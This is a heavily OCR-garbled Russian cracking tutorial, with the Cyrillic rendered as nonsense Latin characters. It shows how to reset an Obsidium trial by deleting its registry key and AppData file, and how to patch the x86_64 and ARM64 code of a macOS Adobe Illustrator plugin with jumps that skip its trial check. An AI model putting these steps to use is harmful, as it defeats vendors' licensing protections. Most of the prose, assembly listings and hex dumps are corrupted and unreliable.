3TOM. B npHHUMNE, B HEKOTOPBIX CIIydasx 3a/Jady MOXKHO y>K€ CUHTATh PELIEHHOH U Ha-
YHHATh NMUTh LIAMIIAHCKOE — K MPHUMEpY, €CIM MOAYJb HamnHcaH Ha Jenbdu, Oeficuke,
JOTHeTe U NnoJoOHOM. B 3ToM cilyuae OH y»e BIOJHE TOAMTCA Ui 3aTpy3KH B HHCTDY-
MEHT peBepC-HHXXHHHUPHHTa. [la 4To TaM TOBOPHTb, aXke OOBIYHBIH CKOMITHINPOBAHHBIN
MOJyNb NPUTOJEH Ui peBepca — K NPUMEpY, MOXHO HaWTH MECTO IJIs MHJIaWH-TIaT4ya U
HalnucaTh JoaZiep WM pa3o0paTh aarOpUTM s CO3aHHs KeHreHa.

[TorpoOyem pa3BUTh NOCIEOHIO HACKO TeXxHH4Yeckd. Kak 51 yxe roBopuin, y Moxyns Bce-
0 YETBIPE UMIIOPTUPYEMBIE (byHKHPIPI: GetModuleHandleA, MessageBoxA, RegOpenKeyExA U
ImagelList Add. Jlnsf Hayala yCTaHOBMM TOYKY OCTaHOBA Ha GetModuleHandlea. IIpo-
rpamMMa 3alycKaeTcsi, i TOYKa OCTaHOBa Aake OTpadaThiBaeT Mapy pa3, OJHAKO I0CIe
3TOTO OTIATYHK 3alMKIMBaeTCs C OECKOHEUHBIMH T[ONBITKAMH HMCKIIIOUEHHS IO
ACCESS_VIOLATION. 3aliuTa SBHO cllaNnia omiaguuk, u ScyllaHide yxe He nomoraer.
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OtpHuarenbHbIi pe3ynbraT He OTOMBAaeT y Hac OXOTy paboTaTh B 3TOM HampaBlIEHHH,
M MBI 10 CTapoil nmaMsATH npoOyeM MOBTOPHUTH ITOT TPIOK C Readrile. Ha ynuBneHue,
OpsiK HecKoIbKO pa3 BrojHe 3¢dexkTHBHO cpabaThiBaeT U He 3alukiauBaerci. CMOTpUM
BHHMMATENIbHO Ha CTEK BBI30BOB — IIE€PBbI€ HECKOJBKO pa3 TaM COAEPXKHTCS MOJHas Ka-
I1a, OJJHAKO B OMNpEIEICHHbIH MOMEHT MOSBIAETCS OCMBICIIEHHAs MOC/IENI0BAaTEIbHOCTD
BJIOKCHHBIX BBI30BOB, CHM3y HAUMHAIOIIA’ACS C BBI30BA MOTOKA Hallledl MporpamMMbl H3
BaseThreadInitThunk M 3aKaHYMBAIOWIAACA CBEPXy B HeApax MOAyJIeH user32 H
gdi32full. JTO Halla mporpaMMma BIIEpBBIE BbI3Bajla LpkDrawTextEx, @ OH IOJIE3 3a
mpu¢TOM Ha THUCK.

BHHUMaTenbHO H3y4YaeM pachoIOKeHHBIH B CAMOM HHM3Y CIHCKa KOJ MPOLEAYpHl, BBIIOJI-
HAIOLIEHCS B 3TOM IOTOKE, M HaXOQHM Hadalo 3TOH caMoil mpouexypsl — 0xB634EC.
Hrtak, MBI HALITH MOTEHIHATBHYIO TOYKY BXOZa U TENepb Y HAC €CTh 3a YTO 3aLENUTHCS B
npoLecce OTIaJKH.

ITepe3amyckaem mporpamMMy, B OKHO JaMIia BBIBOJUM COCTOSHHE MaMATH MO 3TOMY ajipe-
cy. Kak u cnenoBano oxuaare, naMaTh A€BCTBEHHO YHCTA U 3alOJIHEHA HYJIAMH. 3amyc-
KaeM MporpaMMmy, CHOBa OCTaHABJIMBAjACh Ha ReadFile. BykBanpHO uepe3 mapy OpskoB
BHIUM IO afipecy OxB634EC TOTOBBIH pacrnakoBaHHbIH KoA. PagocTHO cTaBMM Ha Hero
OpsK, yOpaB ero c ReadFile AJ ACHOCTH. JXMeM Ha npopo/nkeHHe, U BOT MBI OCTaHaBIIH-
BaeMCs Ha CaMOM BXOJI€ B PAaCIaKOBaHHYIO U pacuIM(pOBaHHYIO IPOrpaMMmy.

Ha Tot cimy4a#, ecii MBI pelllMM HamKcaTh 3arpy34YMK, Mbl HAalTM XOpOIIEe MECTO IS
uHbekuH. Teneps OblI0 OBl HEMIOXO OTHICKATH KO IJIA MHIaHH-niaT4da. [1o soruke Be-
1IeH A7 KOHTPOJIA JIMLEH3WH MporpaMMa J0JDkKHa BbI3bIBaTh GyHKUHH Obsidium npsMo
U3HYTpHU cebs1, mpHYeM HeaaneKko OT Hayana 3arpy3kd. HaunHaeM moriaroBo TpaccHpo-
BaTh NMporpaMmy u OYKBaJbHO 4Yepe3 HECKOJbKO KOMaH[ HAThIKAEMCS Ha MOJO3PHTENb-
HYIO0 mpouenypy 0xB62030, BBI3BIBAIOLIYI0 BHYTPH ce0s HTHOPHUPYEMYIO MOMBITKY HC-
KJIFOYEHHS PUMEPHO B TAKOM KOHTEKCTE:

02DC091A | OFOB | ud2

|

02DC091C | OFOB | ud2

\

02DCO91E | EB 01 | jmp 2DC0921

\

02DC0920 | 70 EB | jo 2DCO90D

\

02DC0922 | 0115 F7FOEBO5S | add dword ptr ds: [S5EBFO0F7],edx
I

02DC0928 | D2A4A7 872CEBIE | shl byte ptr ds:[edi+1EEB2C87],cl
I

02DC0O92F | EB 04 | jmp 2DC0935

\

02DC0931 | BD A4FCBFEB | mov ebp, EBBFFCA4

éZDC0936 | 05 D21DA654 | add eax,54A61DD2

I
02DCO93B | 5D | pop ebp
I



00— 128 —0O3

02DC0O93C | 8B5424 30 | mov edx,dyord ptr ss:[esp+30]
é2DCO94O | EB 03 | jmp 2DC0945

(|)2DC0942 | A9 CBF2EBBA ‘| test eax,BAEBF2CB

I

02DC0947 | EB 04 | jmp 2DC094D

é2DCO949 | A2 29F963EB | mov byte ptr ds:[EB63F929],al
é2DCO94E | 03D8 | add ebx,eax

I

02DC0950 | A2 55EBE1EB | mov byte ptr ds:[EBELEBS5],al

OTO YEepPTOBCKH MOXO0KE Ha KO, HA KOTOPOM OTJaJuHK MEPHOJHYECKH CIIOTBIKANICS, MOKa
MBI MEJUIEHHO, HO BEPHO MpHOJIMXKAIHCh K pacrnakoBke nporpaMMbl. Cpa3y 3a BEI30BOM
3TOH npoueayps! Mbl BUIUM KOJ CJIEAYIOLUETO CONEPHAHUS:

00B63567 | 8B15 ACAEC000 | mov edx,dword ptr ds:[COAEAC]
|

00B6356D | 8B12 | mov edx,dword ptr ds: [edx]

|

00B6356F | 8B92 1C030000 | mov edx,dword ptr ds:[edx+31C]
é0B63575 | 8B92 94010000 | mov edx,dword ptr ds:[edx+194]

| [edx+194]:L"Unregistered trial version\r\nYou have 30 day(s) left"

®dakTHYECKH Y HAaC HE OCTAJIOCh HUKAKHX COMHEHHH — HMEHHO 3Ta KOHKpETHas Mpolie-
Iypa 0xB62030 BBI3bIBa€T NpoBepKY JuueH3uH Obsidium u 3anonsser uHdopmauued o
HEHN CTPYKTYpY MO aipecy, Ha KOTOPBIN YKa3bIBaET ds: [COAEAC].

Hrak, Hama HcxoaHas 3afaya — MaJIod KPOBBIO MOJHOCTBIO CHAThH NMPOTEKTOP C 3TOro
MoIysiss — ObLia ¢ caMoro Hayaia obpeueHa: 3alMra HHTerpuposasa B obpas. B moayne
NPHCYTCTBYIOT CCBUIKH M BBI30BBI 3a €ro npejesnsl, 60j1ee Toro, 3TH CChUIKH HHULHAH-
3HPYIOTCS [0 Hayajla OCHOBHOTO MOTOKA.

Ecnu BayMuuBo nokomnaTh B IDA caaMmieHHY0 nporpaMmy, Takux cchiiok Ha Obsidium
MOHO HalTH B KOJE AOCTATOYHO MHOTO B MECTax MPOBEPKH JHLEH3HH. Kaxabii Takoi
BBI30B YHHKaJleH (JINYHO 5 C XOJAy HE HallleJl NOBTOPAIOIHMXCS, AaXe €CTH OHH BBINOJ-
HAIOT OJMHAKOBbIe (YHKLHH), €r0 KOA BHPTYAJIM30BaH U CHaOXeH COOCTBEHHBIM aHTH-
omnagyukoM. KoHe4HO, MOXXHO MOBO3HTHCA M OCBOOOIMTH KO OT BCEX 3THX BBHI30BOB
(xoT# 3TO TOXE HE Bcerzaa JOCTHXUMO, HOo TeoperHueckr Obsidium ymeeT BUPTyann3u-
pOBaTh OTMEYEHHBbIE MOJb30BaTENEM OJIOKM OCHOBHOTO KOJa MPOrpaMMbl), HO mpolie
BCE-TaKH CHeJaTh JIoaJep H HHIaHH-NaT4, KOMY Kak OOJblle HpaBHUTCS.

OnHako 51 obewran pacKpbeITh METOA 00X0/a 3alMThI IS CaMbIX JIEHHBBIX, 6€30 BCAKOTC
OTJIaYMKa, peBepca U KOBBIPAHUA koja. Peus uueT o copoce Tpuana Obsidium BHeMHH-
MM CpeJCcTBaMH — IpH NMOMOILH ToJbko ProcMon, RegEdit u ymensix pyk.
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HomyctuM, y Hac ectpb 3amunienHas Obsidium nporpamma, paboTaromas orpaHHYeHHbBIH
1epuol, KOTOpbIi 04eHb Xoyercs npo/uiuTh. JKenarenpHo HaBeuyHo. OOHAKO J1€3Th Ui
3TOro B OTJAaMYMK MU CHUMATh 3alIUTy MOJHOCTBIO HaMm JieHb. [IpUBBIYHO 3amyckaem
ProcMon u u3y4daeM Jior oOpallieHuit MporpaMMbl K peecTpy IpH 3arpy3ke. EcTrecTBeHHO,
MTHOBEHHO HallleMy B30pY NpeICTaHET OrpOMHas MPOCTHIHSA, pa3Mep KOTOPOH MOBepraer
B yHeIHHe. OHAKO, Ha cyacThke, aBTOpbl Obsidium (Tak e kak ¥ aBTOpbl Enigma) oco-
60#t aHTa3uel He oTiIHYalTCA, U o noucky Obsidium TyT e HaxoxuTcs oOpaleHue K
K04y \HKEY CURRENT USER\SOFTWARE\Obsidium\ { XXXXXXXX~XXXXXXXX-XXXXXXXX~XXXXXKKK }
(manHble GUID yHHMKaNIbHBI IS KXXIOH IPOTrpaMMEl).

Be3 ocoboii Hagex bl yaanseM K4 U3 peecTpa U Iepe3anyckaeM NporpaMMy — ecre-
CTBEHHO, cOpoca Tpuana He npoucxoauT. Ho, kak s y>ke roBOpujI, CO3AAaTENH 3TUX 3aILUT
ocoboii ¢aHTa3uel He OTIHYAKOTCS, TOITOMY MPEINOJIaraeM, YTO OHH MOAKPEIUIAIOT pee-
CTPOBYIO MPOBEPKY KaKUM-TO XHTPO CHOpATaHHbIM ¢aiinukoM Ha aucke. HaunHaem u3y-
4aTh JIOT oOpalleHus K (HaiIoBOif CHCTEME, H TYT HAC XJIET CIOPIPH3!

Asrops! Enigma oka3anuce naxe 6oyiee OpUrHHANBHBIMH: OHH XPaHWIH HHHOPMALHIO O
peructpauuy B ¢aiiie ¢ HENMPOU3HOCUMBIM Ha3BaHHEM BO BPEMEHHOH CHCTEMHOMH IaIkKe.
Astops!l Obsidium [1s 3TOro 3aBeNu CHELHANBHYIO MOINAN0YKy UMEHHU ce0s B mojakara-

JIore RoamingAppData TE€KYILEro I10Jb30BaTECIIsA (H}’Tb K q)al‘imy BBITVIAAUT MPUMEPHO TaK:
C:/Users/<Username>/AppData/Roaming/Obsidium/ { XXXXXXXX-XXXXXXXX-XXXXXXXX~-

xxxxxxxx}, GUID Tot xe, 4To U B peectpe). Y nanseM 3ToT QailyIuk BMECTE C BETKOH pee-
cTpa — OuHro, Tpuai copouieH!

B utore

Kak Buauis, 1aneko He Bce BHIBI 3allUThI HCIIOMHAEMBIX (ainoB 00XoaaTCs IUXUM Ka-
BAJIEPUICKUM HACKOKOM: MHOrJa pa3paOoTYMKH CTapaloTCs MAKCHMAlbHO YCIO0XHHTh
KH3Hb HUCCIIEOBATENSAM U NMPHIYMBIBAIOT XUTPOYMHBIE crlocoObl aHTHOTIAAKH. OmHako
Ha 11000 XUTpBIH 00T, Kak U3BECTHO, OTHIIIETCS raika ¢ JeBoi pe3p0oil — CI0XKHOCTh
IIPOTEKTOPA MHOT/A C JIUXBOH KOMIIEHCHPYETCS WAaGIOHHBIM MOAX0I0M K paboTe ¢ pee-
cTtpoM u ¢ainoBoil cucteMol. UeM MOHHMMAIOLIME JIIOAH MPH HEOOXOAMMOCTH BIIOJIHE
MOTYT BOCIIOJIb30BaThCH.
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Nunocakuusa ans fat binary.
Nomaem nporpammy ana macOS
C NoAAepPXKOWN HeCKONMbKUX apXUTEKTYp

MBK

«Xaxep» MHOTO pa3 mucai o B3oMe nporpamm uis Windows. [l Hee co34aHO MHOMXe-
CTBO OTJIaJYHKOB, IU3acceMOJIEpOB U APYTHX MOJE3HBIX HHCTPYMEHTOB. CeroqHs e Ml
0o0paTHM B30p Ha MyJIBTHIIPOLIECCOPHYIO MporpaMMy ais macOS, BepHee, Ha IJIaruH 1Jis
makoBckoro Adobe Illustrator CC 2021, xotopsiii (B uensx obydenus!) 6ymer mpespa-
meH u3 nMpoOHO# BepcHH B MONHOLEHHYH. [IpHyeM nmoHago6ATCA HaM MCKIIOYHTETBHO
uHcTpyMeHTh! uis Windows: IDA Bepcun 7.2 u Hiew.

BHUMAHHUE!

Bcs uHgopmMaums npepoctaeneHa UCKNIOYUTENbHO B O3HAKOMUTENbHbIX U 06ydalowmx Le-
nsx. Hu asTop, HU peaakuusi He HecyT OTBETCTBEHHOCTM 3a Noboi BO3MOXHbLIA Bped, npu-
YMHEHHbIM MaTepuanamu OaHHOW cTaTby. HapyweHue nuueHsuu npu ucnonb3osanuu MO
MOXeT npecnegoBaTbCsA MO 3aKOHY.

HemHoOro reopumn

JIns Havana KOPOTKO MOMBITaEMCS MOTYYHTh NIPEACTABIEHHE, YTO HMEHHO HaM IPEeACTO-
HT JIOMaTh. MBI y>ke NPUBBIKIIH, YTO BCE MCIONHAEMBbIE Gainbl H OHONHOTEKH NOX aKTy-
ansHble Bepcud Windows uMmenyiorcs EXE/DLL u umeror crpykrypy MZ-PE. Ilog
macOS ucnonssyercsa popmatr Mach-O (cokpamenune oT Mach object), ssnsromuiics mo-
TOMKOM ¢opMmaTa a.out, KOTOpbI Makoch yHacienoBana oT Unix.

Kak u3BectHo, Apple mo6GHT nepHOaAHYECKH NEPEXOAUTH C OMHOTO CeMENCTBa MPOLECCO-
POB Ha Opyroe, M3-3a 4ero MEHJAETCA M apXuTekTypa npuiaoxeHud. HayaB ¢ PowerPC,
Apple B cepennHe HyneBbIX NEpeMETHyIach B cTaH Intel, mocie yero B HenaBHEM IIpo-
IIIOM KOpIopauus pemniaa nepedTd Ha miaatdpopmy ARM. [[aGel monb3oBatenu mo-
MEHbIIIE CTPaJaly OT MOJOOHBIX METaHHMH, ObLI B3AT HAa BOOPYXKEHHE MYJIBTHUIIPOLIECCOD-
HbIf popmat Fat binary («oxupHBIF 6MHADHHK»), KOTOPBIH MOXET COIepHkaTh KOJ OIHO-
BPEMEHHO ITOJ HECKONIBKO npoueccopoB. Takoi Moxynas MoxeT paboraTth kak mon Intel,
Tak ¥ mog ARM.
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UYro xe Takoe Moayns Mach-O? O6BIYHO OH COCTOMT M3 Tpex obyacteif. 3aronoBok co-
JEPXHUT oOuIy0 HHGOpMaIMIO 0 ABOHMYHOM ¢aiie: mopaaok 6aHTOB (Marmyeckoe 4uc-
JI0), THII MpOLlECCOpa, KOJHYECTBO KOMAH[ 3arpy3kd U T. A. 3aTeM CIEeIyHOT KOMaHIbI
3arpy3KH — 3TO CBOEro poja OIJIaBJIEHHE, KOTOPOE OMHCHIBAET MOJOKEHHE CETMEHTOB,
JHHaMHYECKYI0 TabJIHIly CHMBOJIOB M ITPOYHE MOJIe3HbIe Belld. Kaxknas koMaHaa 3arpys-
KH COAEPXKHT MeTaJlaHHbIe, TAKHE KaK THUIT KOMAaHIbI, €e UMS, TIO3HLUA B JBOUYHOM ¢aii-
ne. HakoHel, TpeTbs 00;1aCTh — 3TO JaHHBIE, 0OBIYHO caMasd 60JIbIIas YacTh 00BEKTHOIO
¢aitna. OHa COOEPXKUT KO U Pa3IHYHYIO JOIOJHHTEIbHYIO HHOPMALIHIO.

MyIBTHIIPOLIECCOPHBIA OKHPHBIH» MOAYJb MOXKET BKIIOYATh B ce6s HECKONBKO OOBIY-
HeIX Moayneid Mach-O, 3aroyeHHBIX mox pasHble mpoueccopbl (06bi4HO 3TO 1386 M
x86_64, ARM umn ARM64). CtpykTypa ero mpezaensHo npocra — cpasy 3a Fat header,
B KOTOPOM OITMCBHIBAaIOTCA BXOIAIIME B Moaysb Omoku Mach-O, creayer kox 3Tux 6io-
KOB, PacroyioxeHHbIH noapaa. S He 6yay moapo6HO ocTaHaBIHBATHCA HA ONIMCAHHH BCEX
CeKUHMH U noned JaHHOTro $opMarTa, >KeJarolIHe MOTYT JIErKO HaryIJIMTh CrielH(HKaIHIO.
OcraHoBHMCS JTHIIb Ha GopMaTe 3aroJ0BKOB, TOCKONBKY OHH IIOHAaHOOATCA HaM B Jab-
HeHINX AeHCTBUAX.

CrpykTypa Ki1accuyeckoro 3aronoska Mach-O Beirnaaut Tak (puc. 10.1).

struct mach_header {

// CurHaTypa, ofwuHOo CF FA ED FE wm CE FA ED FE, HO s BapuaHTa C OBGPaTHEM
rnopsankoM GamToB BO3MOXHa M obpaTHas curHarypa FE ED FA CF

uint32_t magic;

// Tun npoueccopa, ana intel aTto 7, mns ARM — C

cpu_type t cputype;

// TonTun mpoueccopa, 1 o3HauaeT 64-paspamHocTs, Hanpymep 07000001h — x86 64

cpu_subtype t cpusubtype;

// Twun odaitna

uint32_t filetype;

// KoymueCTBO KOMAaHI, CJIEOyKUMX 3a XMUIEPOM

uint32_t ncmds;

// PasMep KOMaHm, CJeOyKuMx 3a XUOEPOM

uint32_t sizeofcmds;

// Habop GUTOBEX QaroB, KOTOPHE YKABHBAT COCTOSHME HEKOTOPHX IOMOJIHMUTEJIbHRX
dbyukwpt popmara damna Mach-O

uint32_t flags;
}i

«OKupHBIii 3aronoBok» mpexacrarnser co6oi THmMuHbIA 3aronoBok Universal binary u
BBITVIAIHT BOT TaK.
struct fat_header {

uint32_t magic; // OBEBAFECAh

// KoymuecTBO nocinemyiampx 6y10koB fat_arch, cooTBeTCTByMupx NONNEPKMBAEMEM
npolieccopam

uint32_t nfat_arch;
}i
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struct fat arch ({
cpu_type t cputype;
cpu_subtype t cpusubtype;
// CmelleHne no ©GJioka koma OTHOCUTEJIbHO Hauana daiuia
uint32_t offset;
// InuHa COOTBETCTByKWero 6OJioka Koma
uint32_t size;
// BEIpaBHMBaHMUE
uint32 t align;

}i

struct fat arch {

00008000 : 00 _ 1 | [03 00 oo n0ljag 00 60 00
00008010 iB 00 00 00 i} | 85 00 01 00 00 00 00 00
) 5F 5F 54 45 58 54 00 00
N 00 ) 00 00 00
1 0e 0a
an 0/0]
08
1 B
010}
I 0
010}
{010} ] 3 08
00 Do an i DB ? 585
00 on 0/0] 0]5]
98 0 1 06 o]0} : i il ]
00 6 (0]t} 00 Oe [ I
@6 0R 0D DO OO O SF 23 5 L J
65 65 72 BB 5 5 5 elper
g 010] 010} [
010} 010} i H-
08 0e oo I
00 0o {010}
000p816 00 00 DO 00

Puc. 10.1. CtpykTypa 3aronoska Mach-O

Hy a tenepb, koraa Mbl B JOCTaTOYHOH CTEMEHH BOOPYXUJIUCH TEOPHEH, pacCMOTPUM
NpaKTUYECKU mpumep. Y HAc €CTb HEKUH HHCTAJUIMPOBAHHBIH HWIIIIOCTPATOPOBCKHI
IUIarMH, KOTOPBIH TpeOyeTCs OTYUYUTh OT CYHMIIMAA MO [IPOLIECTBUU TPHAJILHOTO MEepHO/A.
Ipeanonoxum Takxe, YTo AOCTYINa K Maky, Ha KOTOPOM OH YCTaHOBJIEH, Y HAC HET, KaK
U Ipyroro Maka noj pyKoH — TOJIbKO BO3MOXHOCTb NepenuchiBaTh (ainbl. HMinem B
nanke Hy>kHoro miaruna nogananky Contents\MacQOS, a B Helt — HCIOJIHIEMbIH MOAYJIb
wiaruHa. B 1aHHoM ciyvae 310 auHamudeckas oubnuoteka Fat Mach-O file, o yem Ham
TOBOPHUT CUTHATypa CA FE BA BE.

Intel

3arpyxaem Haul ¢aiin B IDA Pro: Ham OyneT npennoxkeHo Ha BbIOOp [Ba (TOHHEE TpH)
cnocoba 3arpy3ku naHHoro ¢aiina: Fat Mach-O file, 1.X86_64 u Fat Mach-O file,
2.ARM64. Tpetuii BapuaHT, OMHapHbIN ¢aiin, Ham HenHTepeceH. HauHeM ¢ camoro npo-
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CTOTrO M 3HAKOMOTro BceM nosb3oBarensiM Windows BapuanTa: BeiOMpaeM Intel X86 64.
berno mnpoOexaBIIUCh MO CNHCKYy Ha3BaHWH (QyHKUMH, OOHApy)XHBaeM HMs
checkPersonalize2 tryout. Tak Kak y Hac Tpuai, JaHHas ¢)yHKHHﬂ BIIOJIHE MOXET OKa-
3aThCs NPOBEPKOH Ha ero BanMAHOCTh. CMOTPHM, OTKyZJa OHA BBI3BIBA€TCA — ara, u3
dbyHKIHH C emie Oonee NoJ03PUTENBHBIM Ha3BaHHEM checkUser:
_ text:0000000000006A62 mov edi, esi ; SPPlugin *

text:0000000000006A64  mov rsi, rbx ; _UserData NSD_ *

__text:0000000000006A67  call
__Z24checkPersonalize2 tryoutP8SPPluginPl14 UserData NSD Ph ;
checkPersonalize2 tryout (SPPlugin *, UserData NSD_ *,uchar ¥*)

__text:0000000000006A6C test eax, eax

__text:0000000000006A6E  jnz short loc_6A95
__text:0000000000006A70  cmp [rbpt+var 21], O
__text:0000000000006A74 jz short loc_6A95

__text:0000000000006A76
__text:0000000000006A76 loc_6A76: ; CODE XREF: _checkUser:loc_6AS5D1]

__text:0000000000006A76  mov rax, [rl2]
__text:0000000000006A7A mov qword ptr [rax], O
__text:0000000000006A81 mov byte ptr [rax+63Dh], 1
__text:0000000000006A88  mov gword ptr [rax+648h], O
___text:0000000000006A93 jmp short loc_ 6A99

___text:0000000000006A95 ; ——=—=——=——————=—m
___text:0000000000006A95

_ text:0000000000006A95 loc_6A95: ; CODE XREF: _checkUser+1981]
__text:0000000000006A95 ; _checkUser+19Et]
___text:0000000000006A95  mov [rbp+var 21], 0

ITockonbKy 3arpy3uTh NpPOrpaMMy B OTJIaqYHK H JOWUTH IO 3TOTO MECTa MBI HE MOXEM,
npoOyeM [oraiatbCsi, Kakoi BapHaHT BO3BpAIla€éMOro 3HAYEHHS eax HAC YCTPaHBaeT
Oosbuie. BrlpakeHHs B KBaJgpaTHBIX CKOOKaxX ++byte ptr [rax+63Dh]++ H qword ptr
[rax+648h] MOXOXH HAa YCTAHOBKY IMOJIEH HEKOEH CTPYKTYpBl HiIH CBOHCTB 00BbekTa. [1o-
HCKaB M0 KOJYy 4yTh BBILIE, MBI YBHAHM TaKyI0 KOHCTPYKLHIO:

__text:00000000000069E4  cmp byte ptr [rbx+63Dh], 0
__text:00000000000069EB  jnz loc 6A99

__text:00000000000069F1

__ text:00000000000069F1 loc_69Fl: ; CODE XREF: _checkUser+1241j

__text:00000000000069F1  mov [rbp+var_21], 0
__text:00000000000069F5  cmp byte ptr [rbx+653h], 0
___text:00000000000069FC  jz short loc_6A35
___text:00000000000069FE cmp byte ptr [rbx+650h], O
__text:0000000000006A05  jz short loc_6AS5D
__text:0000000000006A07 mov edi, 8 ; unsigned  int64
__text:0000000000006A0C  call __Znwm ; operator new(ulong)
__text:0000000000006A11 mov rl4, rax

__text:0000000000006A14 mov ecxy, 22h g "
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__text:0000000000006A19  mov rdi, rsp

__text:0000000000006A1C mov rsi, rbx

___text:0000000000006A1F rep movsq

__text:0000000000006A22 mov rdi, rax ; this
__text:0000000000006A25  call __ZN1llAboutDialogClEl4_UserData NSD_ ;
AboutDialog: :AboutDialog(_UserData NSD )

__text:0000000000006A2A  mov rax, [rl4]

__text:0000000000006A2D mov rdi, rl4

___text:0000000000006A30 call qword ptr [rax+8]
__text:0000000000006A33 jmp short loc_6A99

ITo noBenenuo InporpaMMbl Mbl TIOMHHM, 4YTO O IIPOCPOYKE TpHaJla CHTHAJIM3HPYET OHa-
jor About, BHE3aITHO BEICKAKHBAIOIIKH NPH 3arpy3Ke IPOrpaMMbl, HEHYJIEBOE Xe 3Haue-
HHUe OaiiTa 1Mo agpecy [rbx+63Dh] HHHUHHPYET 00X01 JaHHON BETKH. BBIX0OAUT, 4TO mpa-
BHJIBHOH SIBIISETCS BCTKa, B KOTOpOﬁ 3TOMY 6a171Ty TMIPUCBAUBACTCA 3HAYCHHUC 1 HAYHHas
CO CMEILEHHA __ text:0000000000006A76 (M3HAYAIBHO 3TOT 6aHT HHHLHANH3UpPYeTCs B 0).
He MYyIOpCTBYs JIYKaBO, IIPOCTO 3aKOpayHBAa€M BECH KYCOK KOJa BbI30OBa IPOUECAYPHI
checkPersonalize2? tryout, YCTAHOBHB Ilepea HUM Oe3yCIIOBHBIH MEpexon Ha loc 6A76:

__text:0000000000006A5D  jmp loc_6A76
___text:0000000000006A62 ; ———————————————=
__text:0000000000006A62  mov edi, esi ; SPPlugin *
__text:0000000000006A64  mov rsi, rbx ; _UserData NSD_*

__text:0000000000006A67 call
__Z24checkPersonalize2 tryoutP8SPPluginPl4 UserData NSD_Ph ;
checkPersonalize2_ tryout (SPPlugin *, UserData NSD_ *,uchar *)

___text:0000000000006A6C  test eax, eax

_ text:0000000000006A6E  jnz short loc_6A95
__text:0000000000006A70 cmp [rbp+var_21], 0O
___text:0000000000006A74  jz short loc_6A95

__text:0000000000006A76
__text:0000000000006A76 loc_6A76: ; CODE XREF: _checkUser:loc_6A5Dt]
___text:0000000000006A76  mov rax, [rl2]

ARM

Hrak, ¢ yacTeio Koza, OTBETCTBEHHO#H 3a Xx86, MBI Bpoae pa3oOpannce, nmonpodyeM cae-
JaTh TO XK€ caMoe ¢ apMOBCKoi yacThio. CHOBa 3arpyskaeM 3ToT Moayns B IDA, Ha ceit
pa3 BrIOpaB npu 3arpy3ke BapuaHT Fat Mach-O file, 2.ARM64. Ms! BuauM, uyTo QyHK-
UHH checkUser H checkPersonalize2 tryout MPHCYTCTBYIOT H B 3TOH 4aCTH KOJa, BBI-
IIEONTMCAHHOE MECTO BBI30Ba B IIEPEBOJIE HA apMOBCKHI acceMOiep BHINIAAUT BOT TakK:
__text:000000000000716C MOV X2, SP

__text:0000000000007170 MOV X0, X19

__text:0000000000007174 MOV X1, X20
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_ text:0000000000007178  BL
__Z24checkPersonalize2 tryoutP8SPPluginP14_UserData NSD Ph ;
checkPersonalize2_ tryout (SPPlugin *, UserData NSD_ *,uchar *)

__text:000000000000717C LDRB W8, [SP,#0x150+var_150]
__text:0000000000007180  CMP W0, #0
__text:0000000000007184 CCMP W8, #0, #4, EQ
___text:0000000000007188 B.NE loc_7194
__text:000000000000718C

__text:000000000000718C loc_718C ; CODE XREF: _checkUser+l1A0t]
__text:000000000000718C STRB  WZR, [SP,#0x150+var_150]
__text:0000000000007190 B loc_71A4
___text:0000000000007194 ; ----———————=—---
__text:0000000000007194

__text:0000000000007194 loc_7194 ; CODE XREF: _checkUser+1D0tj
__text:0000000000007194 LDR X8, [X22]
__text:0000000000007198 MoV W9, #1
___text:000000000000719C STRB W9, [X8,#0x3A0]
__text:00000000000071A0 STR XZR, [X8,#0x3A8]
___text:00000000000071A4

__text:00000000000071A4 loc_71A4 ; CODE XREF: _checkUser+118t]
__text:0000000000007124 MOV W0, #0

PaccMOTpeB 3TOT KO NMOBHHMMaTellbHEE, MBI BHIWM, YTO B apMOBCKOM KOJ€E aHAJIOTOM
nons [rax+63Dh] CIyKHT 6aHT 10 azgpecy (X8, #0x3A0], H60 HMEHHO eMy IPHCBAHBACTCS
€OIWHHYKA IIpH YOAAYHOM BBI3OBE€ checkPersonalize2_tryout. HOBTOMy, I{aGLI HE u306pe-
TaTh BEJIOCHUIIEN, NIEHCTBYEM TEM 3Ke CIoco60M, YTO ¥ paHee — 3aKOpayHBaeM KyCOK KO-
[la, BCTaBJIAA Iepel HUM 6e3yCIIOBHBIH Mepexo Ha loc_7194:

nasm

__text:000000000000716C B loc_7194
__text:0000000000007170 MOV X0, X19
__text:0000000000007174 MOV X1, X20

_ text:0000000000007178  BL
__Z24checkPersonalize2_ tryoutP8SPPluginPl4 UserData NSD Ph ;
checkPersonalize2_ tryout (SPPlugin *, UserData NSD_ *,uchar *)

__text:000000000000717C LDRB W8, [SP,#0x150+var_ 150]

_ text:0000000000007180  CMP W0, #0

__ text:0000000000007184 CCMP W8, #0, #4, EQ

_ text:0000000000007188 B.NE loc_7194
__text:000000000000718C

_ text:000000000000718C loc_718C ; CODE XREF: _checkUser+1A0t]
__text:000000000000718C STRB  WZR, [SP,#0x150+var_ 150]

_ text:0000000000007190 B loc_71a4

_ text:0000000000007194
_ text:0000000000007194
__ text:0000000000007194 loc_7194 ; CODE XREF: _checkUser+1D0tj
__text:0000000000007194  LDR X8, [X22]

.
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MNaTtuvm nnarvH

Teneps, koraa Mbl pa3oOpanuch, UTO U II€ CIENYET MEHSATh, HY)KHO BHECTH 3TH CaMble
u3MeHeHus. CaMoe mpocToe, YTO Y HAC €CTh Mo pyKod, — ManeHbkuil DOS-oBckuit 1ie-
CTHaaUaTepuuHbIi penakrop Hiew, KOTOpBIH, MOMHMO NpOCTOro GaHTOBOrO penakTHPO-
BaHMA, yMEeT Ju3acceMOIHpoBaTh U acceMOnupoBaTh koa s Intel u gaxe mnst ARM.
K coxanenuto, npo ARM64, kotopsiii Ham HyxkeH, u Fat Mach-O oH Huuero He 3Haer,
MO3TOMY NPHUAETCS HEMHOTO MopaboTaTh pyKaMH, HCIMOJIB3Ysl Ha MPAKTHKE OMHCAHHYIO
BBILLIE TEOPHIO.

OTKpBIB 3arojoBOK MOAYJsS, Mbl BHOHUM B HeM IBe cekuud Mach-O ¢ abGconmoTHeIMH
CMELLUEHUAMH 8000h U 17C000h. Tak M ecTb, MO MEPBOMY CMEILEHHIO CHIMT CHIHATypa
CEKLMU CF FA ED FE M KOJ MpoLeccopa 07 00 00 01 — 3TO HHTeJOBCKas yacTb. [1o BTO-
pOMy CMELIEHHIO CHTHaTypa Ta e, HO KO Mpoleccopa Apyroi 0C 00 00 01 — 3TO
ARM (puc. 10.2).

